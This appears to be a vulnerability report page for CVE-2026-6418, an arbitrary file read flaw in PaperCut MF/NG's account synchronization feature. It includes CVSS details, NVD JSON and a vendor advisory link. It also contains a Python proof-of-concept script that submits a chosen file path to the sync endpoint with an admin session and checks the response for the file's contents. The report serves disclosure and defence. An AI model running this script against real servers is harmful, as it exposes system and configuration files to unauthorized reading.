Security Vulnerability Report
中文
CVE-2026-6418 CVSS 4.9 MEDIUM

CVE-2026-6418

Published: 2026-05-05 07:16:01
Last Modified: 2026-05-12 15:53:36
Source: eb41dac7-0af8-4f84-9f6d-0272772514f4

Description

An issue was discovered in the Shared Account Synchronization component of PaperCut MF (version 25.0.4). The application allows administrative users to configure a source path for account data synchronization. Due to a lack of proper path validation and sanitization, an authenticated user with administrative privileges can specify arbitrary file paths on the local file system. This allows for the enumeration of directory structures and the unauthorized reading of sensitive text-based configuration or system files. When the synchronization process is triggered, the application attempts to parse the contents of the specified file, subsequently exposing the data within the application's account management interface. This vulnerability could lead to the disclosure of sensitive system information or configuration details, depending on the permissions of the service account under which the application is running.

CVSS Details

CVSS Score
4.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:papercut:papercut_mf:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:papercut:papercut_ng:*:*:*:*:*:*:*:* - VULNERABLE
PaperCut MF 25.0.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Exploit for CVE-2026-6418 # Target: PaperCut MF 25.0.4 # Precondition: Valid Admin Session target_host = "http://target-papercut-server:9191" session_cookie = "JSESSIONID=ADMIN_SESSION_ID_HERE" # The vulnerable endpoint for Shared Account Synchronization url = f"{target_host}/app?service=direct/1/AccountSync/manage" # Malicious payload: Reading a sensitive file # Example: Windows host file or Linux passwd file malicious_path = "C:\\Windows\\System32\\drivers\\etc\\hosts" headers = { "Cookie": session_cookie, "Content-Type": "application/x-www-form-urlencoded" } # Data payload simulating the configuration update data = { "formIds": "path,action", "path": malicious_path, "action": "syncAndTest" } try: response = requests.post(url, headers=headers, data=data) if response.status_code == 200: print("Request sent successfully.") # Check if sensitive content is reflected in the response if "# Copyright (c)" in response.text or "127.0.0.1" in response.text: print("[+] Potential file content found in response.") else: print("[-] File content not directly visible or path invalid.") except Exception as e: print(f"Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-6418", "sourceIdentifier": "eb41dac7-0af8-4f84-9f6d-0272772514f4", "published": "2026-05-05T07:16:00.970", "lastModified": "2026-05-12T15:53:35.860", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in the Shared Account Synchronization component of PaperCut MF (version 25.0.4). The application allows administrative users to configure a source path for account data synchronization.\n\n\n\nDue to a lack of proper path validation and sanitization, an authenticated user with administrative privileges can specify arbitrary file paths on the local file system. This allows for the enumeration of directory structures and the unauthorized reading of sensitive text-based configuration or system files.\n\n\n\nWhen the synchronization process is triggered, the application attempts to parse the contents of the specified file, subsequently exposing the data within the application's account management interface. This vulnerability could lead to the disclosure of sensitive system information or configuration details, depending on the permissions of the service account under which the application is running."}], "metrics": {"cvssMetricV40": [{"source": "eb41dac7-0af8-4f84-9f6d-0272772514f4", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:L/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 4.6, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "eb41dac7-0af8-4f84-9f6d-0272772514f4", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-36"}, {"lang": "en", "value": "CWE-552"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:papercut:papercut_mf:*:*:*:*:*:*:*:*", "versionEndExcluding": "25.0.11", "matchCriteriaId": "3A1B8B6C-D36A-42A5-8FC0-57147BF2DD62"}, {"vulnerable": true, "criteria": "cpe:2.3:a:papercut:papercut_ng:*:*:*:*:*:*:*:*", "versionEndExcluding": "25.0.11", "matchCriteriaId": "2743308B-09C0-47A6-88A6-55B9EC6B777C"}]}]}], "references": [{"url": "https://www.papercut.com/kb/Main/papercut-ng-mf-and-papercut-hive-security-bulletin-may-2026/", "source": "eb41dac7-0af8-4f84-9f6d-0272772514f4", "tags": ["Vendor Advisory", "Mitigation"]}]}}